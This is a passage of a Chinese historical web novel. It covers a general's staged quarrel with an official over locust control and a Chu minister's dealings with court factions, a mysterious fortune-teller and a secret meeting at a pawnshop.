顾长风叹口气:“前朝皇帝曾遣使者捕蝗,民捕蝗诣吏,以石斗受钱。只是,蝗蝻之来何止百万?人只双手,顾此失彼,稼穑难免要被毁损。故依我之浅见,根本之法是要铲除蝗卵,以绝后患。” “这要如何?” “趁蝗卵尚未孵化之时,水淹、火烧,皆可。”顾长风回答,“冬季是消除蝗卵的最佳时机。这也是为什么正月里我就一直不停地递条陈,希望朝廷能晓谕南方七郡总督,发动百姓灭蝗。可惜……” “已经错过了时间,可惜也没用。”玉旒云道,“现在要如何灭蝗?” “现在需要人工去田间地头捕捉。”顾长风道,“这需要发动大量的人力,所以……其实昨天顾某冒死闯上无极殿的庆功宴,除了希望能将灾异之事上达天听之外,也希望能让各位将军考虑放士兵解甲归田。六月治蝗,七、八月又是治水时节,九月、十月秋收和运粮,到冬季需再灭一次蝗卵——如果有兵士相助,一定能完成任务,丰收有望。”他说到这里,看着玉旒云,不知道这位年轻的将军是否会和其他的武夫有所不同。 玉旒云皱着眉头,似乎是在考虑顾长风的提议,良久却忽然冷笑了起来:“国之大事在祀与戎,种地捉虫关军队什么事?楚国月前已经敢在落雁谷袭击我军,现在肯定在商议如何进犯我国。如此紧要关头,你竟然想要士兵解甲半年?简直是笑话!” 别说顾长风没料到玉旒云会突然翻脸,连石梦泉都没有想到。 不过顾长风是出了名的硬脖子,登时也冷笑道:“将军说的一点儿也没错——国之大事在祀与戎。但两者岂可割裂?难道将军攻城略地不是户部在提供粮草?这时倒要计较!蝗虫不治,天下民不聊生,将军再攻下多少城池,和占领沙漠又有什么区别?” “哼!”玉旒云板着脸,“你不用跟我耍嘴皮子。食君之禄,忠君之事,朝廷养着你,是要你尽快地把事情彻底解决。你解决不了,那就是你失职。” “治蝗如治水,要长治、久治,非三年五载不能见成效。”顾长风把桌子一拍,“岂是你们武夫所想的,一道命令就什么都能解决?如果现在没有士兵下田灭蝗,将军明年必然没有粮草远征。” “现在国库里不是有存粮么?”玉旒云道,“不如我立刻发兵楚国,再南取西瑶,届时天江以南的鱼米之乡尽为樾国之地,南方七郡又算得什么?” “哼。”顾长风轻蔑地一笑,“楚国三千万黎民妻离子散,西瑶一千万黔首流离失所,将军做出这样大的功德来,自然不在乎南方七郡化为白地!顾某还要去烧烧香,给自己积点阴德,没空陪将军闲聊军务大事了,将军请吧!” 他摆出送客之姿,玉旒云怒气满面,自然也不想留下,袖子一甩,便大步走出门去,边走还边嚷嚷:“可恶之极!可恶之极!不摘掉你的乌纱帽,我玉旒云三个字也可以倒过来写了!” 石梦泉微微叹气,心中觉得顾长风说的甚是有理——看到一个人直言敢谏,总是能够多加赞赏的,可临到直谏自己时,便是玉旒云——或者不如说,尤其是玉旒云——也暴跳如雷。 “玉将军……”想起她说过,自己的职责就是在她身边提醒她,免得她掉进陷阱,于是哪怕再惹她生气,他也一定要把话说出来。 不过玉旒云却走得飞快,让他一直跟后疾追。直转到一条小巷子里,才停住。这时,玉旒云转过身来,方才的满脸怒气竟然无影无踪,只有狡黠的笑容和得意之色。 “将军,你……” “梦泉,连你也被骗过了么?”玉旒云笑道,“那我这一次想不成功都难了。” 石梦泉怔怔望着她,云里雾里。 玉旒云道:“明日,我执意远征的消息就会传遍朝堂,再过不出三日,街头巷尾必定无人不知无人不晓。到时候管他是哪国派来的探子,都要屁滚尿流地回国报讯,关城死守,这能省去我多少麻烦!” “啊……”石梦泉呆住。 “怎么?”玉旒云笑望着他,“你以为我真的昏了头,特别想来劝我的?” 不能否认,石梦泉点了点头。 “你这家伙!”玉旒云笑着在小巷的砖墙上拍了拍,神色就变得凝重了:“十五年了,我的确不想再等,天时、地利、人和,三者皆不利我——其实昨夜宴会之后,我在书房里看了一夜书,全是和蝗灾有关的,历代因蝗蝻而造成饥民起义,不计其数。假若今年真如顾长风所说既旱且蝗,咱们在前方打仗,即便粮草充裕,士兵知道家乡被毁,又哪有心思拼杀?一旦哗变,咱们可真吃不了兜着走。” “原来如此。”石梦泉有些羞愧,又有些骄傲,“所以你决定让士兵还乡。可又怕细作将消息传出去,就故意来找顾大人吵一架?” 玉旒云点点头。 “那明日到朝会上吵,岂不是更好?”石梦泉道,“你昨夜看了一夜的蝗虫,今天又听顾大人叨念了一下午的蝗虫……” “你还怕我变成蝗虫不成?”玉旒云打趣道,“其实我专门跑来,就是要瞧瞧顾长风除了敢言以外还有没有其他的本事。如今一看,他简直是万里挑一的人才。” “将军是想让他为我所用?”石梦泉道,“但将军方才同他那样争执,恐怕……” “朝中上下都叫他得罪光了。”玉旒云道,“他只求所言所行无愧于天地,却不知他的脾气使他的绝妙主意无人愿听。假若咱们给他一个大显身手的机会——”玉旒云卖个关子,又自己给出谜底:“梦泉,这事就交给你。咱们一唱红脸,一唱白脸。你尽快私下里和顾长风见一面,告诉他我执意远征,你却可以使你麾下的兵士开赴南方七郡灭蝗……” “我麾下哪儿有士兵?”石梦泉不解。 “你也是将军了呀!”玉旒云道,“我的部下不就是你的部下——再说,咱们还收编了赵临川的余部呢!” “我才当了一天将军,还没习惯呢。”石梦泉笑笑,“那么,是要让这三万人全数解甲归田么?” “万万不能。”玉旒云道,“南方楚国,其南又有西瑶,北边有蛮族,东面还有剩下半条命的郑国——没有一个不在转鬼心思的。若是远征大军齐齐还乡,被细作瞧出破绽,难保这些国家不联合起来进攻咱们。到时交锋起来,难道靠刘子飞、吕异和司徒蒙这些酒囊饭袋?” “刘将军和吕将军似乎很想到原来铴国的地盘上去做总督呢。”石梦泉道,“不知他们如果到了地方上,会不会组织屯田?” “哼,你以为他们是观音菩萨?”玉旒云冷笑,又说回正题,“你看看我们那三万人的籍贯,凡是原籍南方的,就跟你走。也不只限于南方七郡,只要靠近的都可以。带个一万多人,就足够了。我会跟兵部说,是我放他们回乡探亲。到秋收之后,你们再回来。” 这倒是个好主意,石梦泉想,又问:“那冬季灭蝗卵的事要怎么处理?” 玉旒云微微皱了皱眉:“这的确叫人头疼。不灭,则明年又多一项后顾之忧;灭,士兵放假久了,各国探子难免要看破玄虚,况且……”她顿了顿,忽然念了两句诗:“大凡万事悉如此,祸当早绝防其微。蝇头出土不急捕,羽翼已就功难施。” 石梦泉听着有些耳熟,想起方才在顾长风家里的某本治蝗的书籍里看到过这诗,意思大约是劝人及早铲除蝗虫卵。 而玉旒云吟罢,却道:“与楚国之战何尝不是这样。他们一战失利,士气低落,如果今年给了他们喘息的机会,来年便真的‘只惊群飞自天降,不究生子由山陂’了!” 那便难免要有第二个十五年的煎熬!石梦泉默默地捏着拳头。 “天……道……”玉旒云喃喃,“莫非真的不可违么?” 4. 第 4 章 程亦风也在六月中回到了楚京凉城。不过,一切对于他来说,就好像是一场闹剧。司马非和冷千山等人从大堰关吵到了皇宫里——吵到了元酆帝的面前。而元酆帝除了时不时对身边的宫女上下其手外,什么都不理会。他不过才五十多岁,但是早年纵欲过度,他看起来形容枯槁。程亦风看着这一切,哭笑不得。 争了大半天,元酆帝终于不耐烦了,说:“现在朕少管朝政,都交给太子。你们去找太子吧。” 司马非等人面面相觑:太子竣熙?才十五岁而已! 不过,大家还是一起到了东宫,又在竣熙面前把各自的道理说了一回。这个白皙俊秀看来还有些害羞的少年皱眉想了半天:“这个……怕是要两殿咨议吧?” 楚国的官制,六部之外有三殿,即崇文、靖武和獬豸。前两殿有大学士,崇文主管吏、户、礼部,靖武主管兵、刑、工部,獬豸殿设监察御使,监督大小官员。一般说来,官员们有意见写成了折子都要递到皇帝跟前,皇帝批示了有圣旨要发的,就要由皇帝“提头”,交崇文或者靖武殿“平章”,两殿大学士都认同了,才发翰林院起草诏书。只是因为竣熙年少,所以现在折子递给他之前就要先在两殿咨议。 这争端虽关军务,但程亦风本是文官,是户部派给耿近仁的粮道,且事关官员功过,又要吏部参与,所以一“咨议”就把崇文、靖武两殿都召集上了。两边唇枪舌剑,闹得不可开交,论战一直持续了三天——程亦风开始实在不明白为什么要把这事闹大,要把其他所有的军国要事都丢在一旁来讨论落雁谷究竟是胜是败,程亦风和崔抱月究竟谁是英雄,谁是懦夫,谁是牝鸡司晨……不过,当那场论战接近尾声的时候,他突然“顿悟”了——啊,虽然司马非和冷千山等人同属主战派,但主战派之中还有派系。如果程亦风是英雄,落雁谷是他的成名之战,那么司马非是发掘他的人,也就连带地成了落雁谷的功臣之一,将来“乘胜追击”的主帅自然非他司马氏莫属;反之,如果程亦风是懦夫,落雁谷是他造成的国耻,而崔抱月却是巾帼英雄,那么冷千山等作为发掘她的人,则掌握了“报仇雪耻”的主动权。 一切就是为了这个“权”!程亦风差点在殿中冷笑起来。 不过,两殿咨议的结果却让他笑不出来——落雁谷楚军“虽败犹胜”,程亦风功不可没,调为兵部右侍郎;崔抱月女中豪杰,堪称典范——至于如何封赏,礼部、吏部都没有先例,因此奏请皇后娘娘定夺。 对此,程亦风目瞪口呆。是开玩笑的吧?他想。可是第二天,正式的圣旨就发了下来,果然升他做兵部右侍郎,命他“辅助兵部尚书”。司马非虽然没能击败冷千山等人,但还是拍了拍程亦风,道:“怎样,程大人,我说保你就果然保了你吧?以后你在兵部,你有发兵之权,我有领兵之实,我二人要好好为国效力。哈哈!” 程亦风的确是想为国家效力,不过却不是为党争效力。他义愤填膺,回家就写辞呈。可惜,怎么辞也辞不掉——那兵部的彭汝愚尚书年老体衰,大部分时间卧病在家,根本不办公。而兵部左侍郎不服程亦风后来居上,本来想闹辞职以示不满,讽刺的是,他却辞成了,程亦风一时间俨然成了兵部代理尚书。 这可几乎把程亦风逼得去撞墙:兵部的事务他简直是一窍不通:楚国的兵制如何,军官制度如何,东西南北各有哪些堡垒要塞,驻扎什么兵种,各有多少人……他看着堆积如山的卷宗,几次把乌纱帽给摔了——再如此下去,不及告老还乡,便为国捐躯了。 臧天任在他“高升”之后也回到了凉城。两个老友约在京城最出名的酒家“六合居”小酌。程亦风就向臧天任大倒苦水:“若当真不许我辞官,那就准我调回户部去。我也不求平调做户部侍郎,就让我做回那户部员外郎也就足够了。” 臧天任听了,笑道:“怎么样?愚兄没有说错吧?其实老弟你还是记挂经世济民的大事呢!你怎么也忘不了你的那本新法札记,是也不是?” “得了吧!”程亦风道。他曾为这些改革之法呕心沥血废寝忘食,一想到有可能使新法推行全国造福百姓,他就会兴奋不已。而如今,朝中的党争让他恶心。 “老弟的烦恼我如何不知?”臧天任道,“吾辈读书之人,十年寒窗跻身官场,除了贪图钱财的混帐之外,谁不想为国家、为百姓做点事?老哥哥我不知道你在军中究竟能做出什么事业,但是一年两年,熬出了资历,也许又得着什么机会,则推行新法、造福百姓有望。” “臧兄且不要说说熬资历了。”程亦风笑了起来,“你还记得我那本札记究竟总结哪几条新法么?” 臧天任道:“如何不记得?除却发展农桑,你提出整顿吏制、税制,和减轻徭役。其中这整顿吏制,说要抑侥幸,明黜徙——” 才说着,突然住了口。因为这“明黜徙”就是针对楚国官吏的考绩制度。楚制文武官员以三年为期,将政绩送到中央磨勘,一般无有大过,且中央无人特地找你麻烦的,都可升迁,所以熬资历成了升迁最稳妥的途径。许多官员不求有功,但求无过,在地方上空拿朝廷俸禄,并不为民请命,使得原本就已经庞大冗杂的官僚体系更加成为国家的累赘。程亦风以为,朝廷应该制订新的磨勘法,严格官吏考核办法,延长磨勘年限,非特优,不得升迁,而对于“无为而治”,甚至掩盖矛盾、粉饰太平的官员,及无所事事的冗员一律予以裁汰,这样国家才不至于被这庞大的官僚队伍拖死。 明知程亦风是反对熬年资的,自己却叫他混资历,还说支持人家的新法呢!臧天任自嘲地笑笑,饮了口酒。 程亦风道:“臧兄何必自罚一杯?我口里说不喜混日子,自己难道不是成天就在混日子?吏制这些个事,都是吏部管的,税收、徭役和农桑归户部管,那边我根本没份儿说话。好歹兵部我说话会有人听,但我又哪里是那块材料?唉!”说着,自己也饮了一杯。 臧天任知他心里苦,陪一杯,忽又笑道:“老弟可知道么?我在翰林院那边听到一个笑话就是说你们兵部,叫做‘生老病死苦’。” “哦?”程亦风愿闻其详。 臧天任道:“这‘生’指的是司马非老将军,老当益壮,生龙活虎,尤其说起话来,活象是市井之人。” 程亦风点点头:“不错。” 臧天任又道:“这‘老’,指的是你们兵部尚书彭大人,总是不见上朝。” 程亦风道:“他不上朝,我就被赶鸭子上架,苦也!苦也!不过,为什么他是‘老’而不是‘病’?” 臧天任笑笑:“这个‘病’字,自然另有其人,指的乃是冷千山、董鹏枭、鲁崇明和向垂杨四位将军,他们都各有心病,所以把个兵部也闹得乌烟瘴气。” 程亦风一口酒呛住,咳嗽不止:“好你个臧兄,就不怕这话传到他们的耳朵里,他们也把你搅进这乌烟瘴气中来?哈哈,不过说得真是很贴切,我又不挡他们升官发财之路,他们为何老是同我过不去?恩,不用说,这个‘死’字就是指阵亡的耿将军了吧?” 臧天任点头道:“不错。而这个‘苦’字就是送给老弟你的。” 程亦风端着酒杯:“哈哈,我是够苦的。什么时候把我发回翰林院去当那闲差也好,我也好隔三岔五地想些笑话给人听。” “错了,老弟!”臧天任道,“我们送你这个‘苦’字不是说你真苦,而是说你放着大好前途看不见,成天叫苦。古语说‘出将入相’,老弟你若出征,就是将军了,而熬起资历来——对不住,哥哥又要说熬年资了——你熬到彭大人百年,不就是兵部尚书?到时升任靖武殿大学士,可不就是拜相了?那时,你再提出新法来……” 程亦风摆摆手:“罢了,罢了。臧兄,还是阿弥陀佛求我不要战死沙场吧。要早知回到京城会落得如此,我倒不如当初不作那篇策论,就死在安德。若能使一方百姓丰衣足食,将来死了,也不怕孔圣人责问我究竟把圣贤书都读到哪里去了。朝廷里这套‘乌烟瘴气’,我玩不来……唉……” “你果然当得这个‘苦’字。”臧天任无奈地摇摇头,“不过,就像咱开头说的,你的这个性子,我看准你不会辞官。我等着拜相,等着你递呈新法。” 对此,程亦风只有苦笑。两人都沉默了片刻,看外面夕阳西下,远近的房屋都浴在柔和的红光之中,显得岁月如此静好,便又发了些酸腐的言论,接着喝酒。一时又听楼梯口响起一阵胡琴之声,见一个老者带个卖唱妇人走上楼来,一路唱着“又寄征衣去,迢迢天外心”,挨座儿求赏钱。有人埋怨曲子太愁苦,要唱个香艳点儿的。程亦风和臧天任即嗟叹:“世事如此,叫人怎不愁苦呢?” 而偏此时,却听外面传来一个响亮的声音:“樾寇杀咱们,咱们没有不杀他们的道理。” 楼上的茶客都一怔,纷纷向外看去。程亦风和臧天任也已经听了出来,这正是崔抱月在喊话。 “好,是女英雄到了!”程亦风将崔抱月所受的封赏告诉臧天任:皇后亲自手书“巾帼英雄”匾额赐她,又着工部即刻去赣州崔家门前修筑贞洁牌坊和忠义牌坊——须知古来修筑牌坊,按例要等到人死后,此所谓“盖棺定论”,给活人修立牌坊的,少之又少。而牌坊又分四等,即,御制、恩荣、圣旨,和敕造。其中以“御制”为最高,系皇上主动提出,并从国库拨银修建;“恩荣”次之,为皇上提出,而地方自筹银两建造;“圣旨”要地方官员先上奏章,呈报某人功德,皇上同意,下旨后,地方出资建造;“敕造”为最末一等,只有皇帝口谕,仍由地方自资修建。崔抱月双十年华即得两座御制牌坊,乃无上殊荣,只是她却没有回到家乡,而是独自在京城住了下来,据说上九卿下九流都同她来往颇为密切。 “她的确是胆识过人。”臧天任道,“不过,被冷千山等人利用。可惜,可惜。” 他二人朝窗外看去,只见街道里以崔抱月为首站着二十来个戴孝的女子,有的身怀六甲,有的手抱孩童,年长的已满头银发,年少的正值豆蔻年华,但无论老幼俊丑,人人都握着兵器,有刀有剑,也有烧火棍,除草耙,面色凝重肃然,俨然兵士待命的模样。 便听崔抱月对围观的行人抱拳道:“如今樾寇横行,朝廷却重用那些没有脊梁骨的书生。只是一条大青河,难道咱们就不能打过去让强盗们血债血偿吗?就非要等到樾寇再欺压到咱们的家门口来?到了那时候,恐怕满朝的文武又像十几年前一样逃了个干净,只留下咱们老百姓任人宰割——众位父老,你们说,咱们究竟是打,还是不打?”她身后的妇女们即齐声呼道:“打!” 围观的人群里响应者并不多,反而有人笑了起来,道:“崔姑娘的事迹咱们都佩服得很,不过,你是要带着这些妇道人家上前线去吗?” 崔抱月并不生气,挺胸道:“妇道人家又如何?国家到了这紧要的关头,还有一口气在的,都要拿起棍棒刀枪来。况且,我们虽是妇人,但我们都不怕死,比起那贪生怕死只晓得逃跑的将领,我们至少敢和樾寇拼到最后一口气。” 看来崔抱月是和自己杠上了,程亦风想,同时缩回头来,免得被这女英雄看到了,口舌之争事小,万一动刀动枪,他怎么是人家的对手? 臧天任倒还继续看着下面的动静。崔抱月的话叫人肃然起敬,人群里的笑声果然减少了许多。她就“呛”地拔剑出鞘:“我们楚国乃是泱泱大国,北至大青河,南到天江,有三千多万的人口。樾寇不过是西北的蛮夷,从朝廷官制到水利耕作无一不是从我中原地方偷学而去。世上哪有徒弟强过师父的道理?只要我们的兵士杀过大青河,一定能打得樾寇丢盔弃甲而逃!” 青出于蓝,这话她一定没听说过。程亦风暗道,中原百年来耽于逸乐,文官贪财,武官怕死,而樾国经太祖、太宗和仁宗三代皇帝励精图治,早已不是当初茹毛饮血的草原部落——从中原偷去的谷物种子已改良成适合北方水土的作物,从楚国模仿去的三殿六部制也精简成两院六部和议政王会议,即使是沙场征战,樾将也不再生搬硬套中原的兵书,这半年来他们扫荡北方就是最好的明证。 街上围观的人们此时或多或少都被崔抱月的话鼓动了起来,“杀过大青河”“血债血偿”的呼声此起彼伏。六合居楼上的酒客们也有拍着桌子附和的,只是他们说的话叫崔抱月气急败坏——因为这人说的是:“听说当年在凉城摆空城计吓跑樾国平北将军的程大人这次在落雁谷又斩杀樾国一位将军。我看程大人神机妙算,如果由他带兵,一定能把樾国踏平了!” “程亦风只晓得逃跑!”崔抱月道,“怎么能指望他为阵亡的将士报仇雪恨?” “这个女人见识浅薄、言语偏激!”臧天任怒道,“兵者,经之以五事——道、天、地、将、法,较之以计,而索其情,多算胜于少算,少算胜于无算。此国之大事,岂有为报她一人之仇,或为报六百多枉死将士之仇,甚至百万阵亡兵士之仇,就再白白搭上百万性命的?” “臧兄别动怒。”程亦风道,“圣人云,唯女子与小人为难养也。俗话又说‘好男不跟女斗’,你何苦去招惹她?不怕她拿剑刺你么?我们还是换个别的地方继续喝吧。” 臧天任想想也有道理,就跟程亦风一起,悄悄溜出了六合居。 两人想要离开是非之地越远越好,于是绕过了好几条小巷子。终于又看到一间熟识的酒楼,正打算过去时,冷不防岔路上走来一个人,和程亦风撞了个满怀,“咕咚”一下摔倒在地。 程亦风也是眼冒金星,臧天任赶紧一手搀朋友,一手扶起那摔倒之人——是一个五十岁光景的算命先生,摔得再狼狈,手中还兀自握着“铁口直断”的布幡不放。 “抱歉,抱歉。”程亦风作揖道,“兄台哪里伤到了么?我方才多喝了几杯,醉得太厉害了,兄台请多多包涵。” “不打紧,不打紧。”算命先生拍着自己身上的尘土,“真是醉得厉害,那就要回家喝点解酒汤才行,酒太伤身啊……” “是,是,是,一定,多谢兄台……真的没伤着么?” 那算命先生却仿佛根本没有听见他问话,只自顾自接着说道:“怕就怕不是醉,而是太清醒。” 此话一出,程、臧二人都是一愣,看那算命先生,还是仿佛自言自语一般,道:“太清醒也不是问题,最怕那半醒不醒,不醉装醉,才害人害己。” 一语如同破天之锥,程亦风的头脑原本被那满腹的牢骚弄得一片混乱,这时仿佛被浇了一盆冷水,一个机灵,定了下来,张口讷讷道:“先生是……” 算命先生呵呵一笑:“老朽不过是粗通五行八卦麻衣相术,胡乱混口饭吃罢了,贱名说出了口,两位老爷也不会知晓。” 臧天任熟读历代典故,仿佛那书里世外高人常常都是如此的谈吐,但此人举止间似乎多了几分刻意——未知是真的神通还是沽名钓誉?他心念一动,道:“先生高才,晚生们方才冲撞了。” 算命先生摇头道:“受不起,受不起。两位大老爷真要赔偿老朽方才那一撞,倒不如让老朽批上一卦,也算照顾老朽的生意,今日饭食有个着落,可好?” “那还真得有劳先生。”臧天任一拽边上发愣的程亦风,“老先生就给我这朋友算一卦吧。” 算命先生点点头:“算卦最易就是测字,不知这位老爷能否赐老朽一字?” “字?”程亦风茫然的,“就……测个……‘风’字吧。” “风?”算命先生捻了捻胡须,“夏日炎炎,这位老爷偏偏要测‘风’,想来这个字和老爷自身有着莫大的关联——莫非就是老爷的名讳么?” “是晚生名字,该当如何?”程亦风问。 算命先生道:“倘若是老爷名讳——‘风’乃‘巽’卦,犹豫不定,进退难决。伏羲六十四卦中,此乃第五十七卦,巽上巽下,小亨,利有攸往,利见大人。” 程亦风一听,这是在背《易经》呢。素来最恨人故弄玄虚,他当即接口道:“重巽以申命。刚巽乎中正而志行。柔皆顺乎刚,是以‘小亨,利有攸往,利见大人’。” 那算命先生倒也不生气,颔首笑道:“老爷果然是个读圣贤书的人。下面一句该是什么,老朽忘了,老爷能提点一二么?” “随风,君子以申命行事。”滚瓜烂熟,程亦风脱口而出,但随即怔住:重申教命,推行政事……这是什么意思? 算命先生笑望着他:“唉,老了,老了,这些事情毕竟只有你们年轻人才做得来呵。”说着,把布幡扛在肩上,道:“实在献丑,这卦金不要也罢,老朽去了。” “等等!”程亦风抢步上前拦住,“倘若这‘风’字不是晚生名号,又该如何?” “不是名号?”算命先生瞥了他一眼,“老朽也说了,夏日炎炎,您偏偏要问‘风’,未免太强老天爷之所难。岂不知‘化不以渐,猝以刚直,用加于物,故初皆不悦’的道理?” “哎呀!”程亦风如被当头棒喝:所谓操之过急,引致众怨,说的是什么?似乎明白,又似乎不明白——是说他那遥遥无期,不知何时才能被人注意到的新法么?还是说这难以改变,叫他郁闷的朝廷?无论说的是何,又该如何“化以渐”?他满腹的疑问,直愣愣盯着算命先生。 然而算命先生仿佛全不将他当一回事,只自顾自绕过了程、臧二人,口中絮絮道:“晚了,晚了,走了,走了。天子后院修金屋,和尚种田一间铺。世上几多搅屎棍,我自忘忧川边哭。唉,我自忘忧川边哭……”且说且行,转瞬之间已经消失在这昏黑的巷子里。 程亦风同臧天任面面相觑:打油诗么?讲的什么意思? “这‘金屋’倒还不难解。”臧天任道,“万岁爷后宫有佳丽三千,国库里不知多少钱都用来修金屋了。” 程亦风心不在焉地点点头:可这决不会是此人特地留诗要说的事吧?化不以渐,猝以刚直…… “尤其是那丽贵妃和殊贵妃姐妹,”臧天任接着发他的感慨,“明知道国库空虚,还老是撺掇皇上外出巡游。一时南下,一时西行,沿路逼人进贡,塞饱了荷包——我听说,这次皇上又想去琅山封禅,估计又是她二人提起来的。这是什么世道!” 世道?程亦风想道,大概正是因为世道荒唐,让他不知怎生摆布,才会无端端信起术士之言。什么“化不以渐,猝以刚直”,也不过就是从某本《易经》的注解里来的吧。玩味一下那打油诗:“嘿嘿,‘世上几多搅屎棍,我自忘忧川边哭’。恩,搅屎棍……这是天江下游的方言吧,咱们的朝廷里很多‘搅屎棍’啊——搅出一个臭不可闻的烂摊子。不过我又比他们好到哪里去?”说着,自嘲地笑了起来。 臧天任知道个中滋味,轻轻叹了口气:“算啦老弟,我们还是继续喝酒去。喝完回家睡一觉,明天再继续去和这些‘搅屎棍’斗一斗!” 程亦风点头同意——既然“不醉装醉,害人害己”,那不如就索性喝醉了吧。两人便又举步朝那酒楼去。 到了酒楼跟前,他们就不约而同地注意到隔壁的一间铺子——那乃是一间当铺,挂着金字招牌,上书“信义当”三个字,门前立了一只镏金孔雀,口中叼了一串碗口大的“元酆通宝”,在周围灯光的照耀下熠熠生辉。 好大的气派呀!程、臧两人都不禁为之一叹。 酒楼门口正有伙计在招徕生意,便搭讪道:“两位老爷想是新来京城?你们别光看这孔雀身子金灿灿,还有这几枚钱大得吓人,其实最厉害是,还是尾巴。” “怎么说?”程亦风愿闻其详。 伙计道:“您二位再仔细看看,这孔雀尾巴除了金光闪闪之外,是不是还有些别的颜色?” 程、臧二人眯起眼睛瞧了瞧,果然不假,随着你看的角度不同,那孔雀尾巴会发出赤橙黄绿蓝靛紫等不同的辉光。“这可真是新奇了!” 伙计道:“那可不新奇?这上面有七色石英,红色来自琅山之巅,橙色来自金川之畔……”他一条一条地报下去,听得程、臧二人目瞪口呆:这简直是用了造皇宫的功夫来铸这一只孔雀啊! “一间当铺而已,”臧天任道,“如何来的财力人力铸此金孔雀?就算有钱,也不见得要这样放在门口招摇吧?” 伙计道:“两位大人是外地人,所以不晓得——你们知道这信义当是谁家开的吗?就是当今圣上最宠爱的丽、殊二位贵妃娘娘她娘家。这金孔雀就是两位贵妃娘娘的象征——贵妃娘娘得宠,给娘家带来滚滚财源啊!” 这伙计只不过是随口说说轶闻,臧天任却是方才还在骂两位贵妃搜刮民脂民膏,听了这话不由大怒,冷笑道:“哼,既然如此财大气粗,不如捐点银两出来给朝廷修筑水利——就把这金孔雀拿去熔了便好!” 伙计看他那样子,估计是个酸腐的读书人,于是就拣了清高者爱听的话来说:“老爷千万不要乱说话。信义当既然有贵妃撑腰,岂能让别人熔这金孔雀?别说是熔这孔雀,就说先前,他们逼债逼死了人,官府也不敢管的。” 岂有此理!臧天任气得直咬牙,本想跟程亦风说,叫他在朝中有机会写折子参一本,却见程亦风抬头看着信义当的招牌,若有所思。臧天任也顺他的目光望去,最终停在那个大大的“當”上。 哎呀!臧天任一拍脑袋:“和尚种田一间铺”,可不就是这个“當”字,而那“天子后院修金屋”又暗指着妃嫔,难道这两句打油诗就是指的“信义当”? “二位老爷,”伙计费了半天口舌,还不是为了招他两人进酒楼去。虽然他们现在被那神秘的打油诗吸引,都没有喝酒的兴致,可程亦风却突然一拉臧天任,闪进了酒楼中:“臧兄,你看——” 臧天任顺他所指瞧去,只见方才在六合居门口慷慨激昂的崔抱月出现在了街道上,她一直走到信义当旁边,就转到后巷去了。 “二位老爷原来也知道女英雄崔姑娘?”伙计道,“最近常常在这附近见到她呢。” “是么?”程亦风和臧天任心里都有一种预感:崔抱月到这附近来,必不是偶然。 他们不再听伙计唠叨,快步也走到那黑暗的巷子中,到了尽头时,看到崔抱月转到了“信义当”的后门口,叩门数下,即闪了进去。两人互望了一眼,也急急跟上,凑在门缝上张望:一个童仆引着崔抱月走进内院房中,灯下窗纸上映出好几条人影,先起身见礼,然后各自落座,接着就好像商讨事情。 程亦风紧紧地扒在门上眼睛一眨也不敢眨,听不见谈话的内容,不过崔抱月显得颇为激动,一时坐,一时站,一时又在房内转来转去。后来看她忽然将长剑抽出了鞘——这一声龙吟很响,惊得巷子里潜伏的野狗“嗷嗷”狂吠。 程亦风被骇了一跳,一时站立不稳,向后摔倒。这一摔可不要紧,哪里注意身后是一条通下内河的阶梯,他整个人叽里骨碌就滚了下去。臧天任还要伸手来援,可手到时,程亦风早已“咕咚”化作一朵水花。 臧天任不禁失声叫道:“哎呀,救人!”话音落下,才发觉闯出更大的麻烦,后面信义当里一阵骚动,脚步声踏踏直朝外面来了。他情急之下别无他法,也只好跟着程亦风跳进了河里。 程、臧二人的水性都只是寻常,夏日河内满是菱藕萍梗,牵手绊脚,让两人泅游得好不辛苦。然而这些荷叶也帮了他们,重重亭亭遮蔽了他们的行踪,反而那边信义当里跑出来的人都在火把下看个了大概:冷千山、向垂杨、鲁崇明、董鹏枭——那一派的几位高官几乎全都在场。 好啊,搅屎棍!程亦风甩着满脸的水,其实猜也该猜到了,崔抱月就是这些人的木偶。她纠集起一支娘子军队伍到闹市中来宣讲报仇的道理,所说的每一句话又如此有煽动性,根本就不像是临场发挥出来的——恐怕背后冷千山等人已经推敲了无数回了。 原来那算命先生的打油诗是引他看一场他早就已经知道的闹剧! 奋力又挣开了几束水草,他搭手上岸,再回身来拉臧天任一把,但却见臧天任面上挂着惊讶万分的表情。 “老弟,你看——”他伸手一指。 程亦风即望见河沿的一方青砖上刻着“忘忧川”三个字,再抬头望望,“铁口直断”的布幡就立在面前,只是边上并无那算命先生的踪影。待两人湿淋淋地爬上了岸,才见那布幡边有石头压了一张纸,借月色看了,上面写的是:“心中有数有何用?纷纷本来各西东。与其虚费劳力气,不如存异先求同。搅屎棍虽臭气冲,他朝威力或无穷。莫道今日只黄白,谁家无肥可耕种?” 又是一首打油诗,特地用了极粗鄙的语言,然而意思却同上一首一般的隐晦。程亦风和臧天任相对皱眉:那算命先生究竟是什么人?又玩的什么古怪? 两人解不开这个迷。一方面是因为他们再没遇见过这个神秘的老者,另一方面是因为有一条更大的新闻传到了朝中—— 那是七月中的一次朝会,天气炎热,连砖头木材都好像在出汗,四周的空气又湿又粘。一丝不苟的官服更如同一只贴身的蒸笼,叫人恨不得让热气从头顶冒出来。 闷热,人就更加烦躁。众大臣们正议论臧天任关于祭祀的改革建议大做文章。臧天任说:楚国之祭祀,程序繁琐,耗时费力,尤其每三年要皇帝亲自祭奠一次琅山,劳民伤财。如今大战刚过,正是恢复生产之时,与其将银子花在去琅山的路上,还不如奖励耕织,兴修水利,将来和则富国,乱则强兵,功在后世。 礼部的几位老学究们看了,气得吹胡子瞪眼,直嚷嚷说:“祭祀之礼古有定焉,礼崩乐坏,国必衰亡。”户部的人则因为祭祀的银子最易贪污挪用,以往这好处都叫礼部得了去,看得人好不眼红,这时终于可出一口恶气,因而都站在臧天任这一边。吏部和这事没有直接的厉害关系,却乐得别人鹬蚌相争,是以一忽而赞成,一忽而反对,生怕意见太快统一。 这个朝廷比妓院还虚伪自私,程亦风愤愤地想,只凭一两个人的力量,怎么救得了天下百姓?越生气就越觉得头昏脑胀,睡意攫住了他,脖子的任何细微动作都使他的脑袋更深地沉下去,一时重心不稳,整个人从官员队伍里跌了出去。 激烈的争论顷刻刹住,礼、户两部官员诧异又愤怒地盯着他,吏部的各位全忍不住窃笑起来。 “程大人!”礼部尚书赵兴花白的胡子根根飞起。 “抱歉,抱歉。”程亦风扶了扶官帽。心里却想:与尔等同列一殿,听你们大放厥词,我气得还能睡得着,可真算有本事的了! 其实竣熙也听他们辩论听得厌烦了,道:“既然一时又争不出结果来,不如先搁下,把其他要紧的事先议了?” 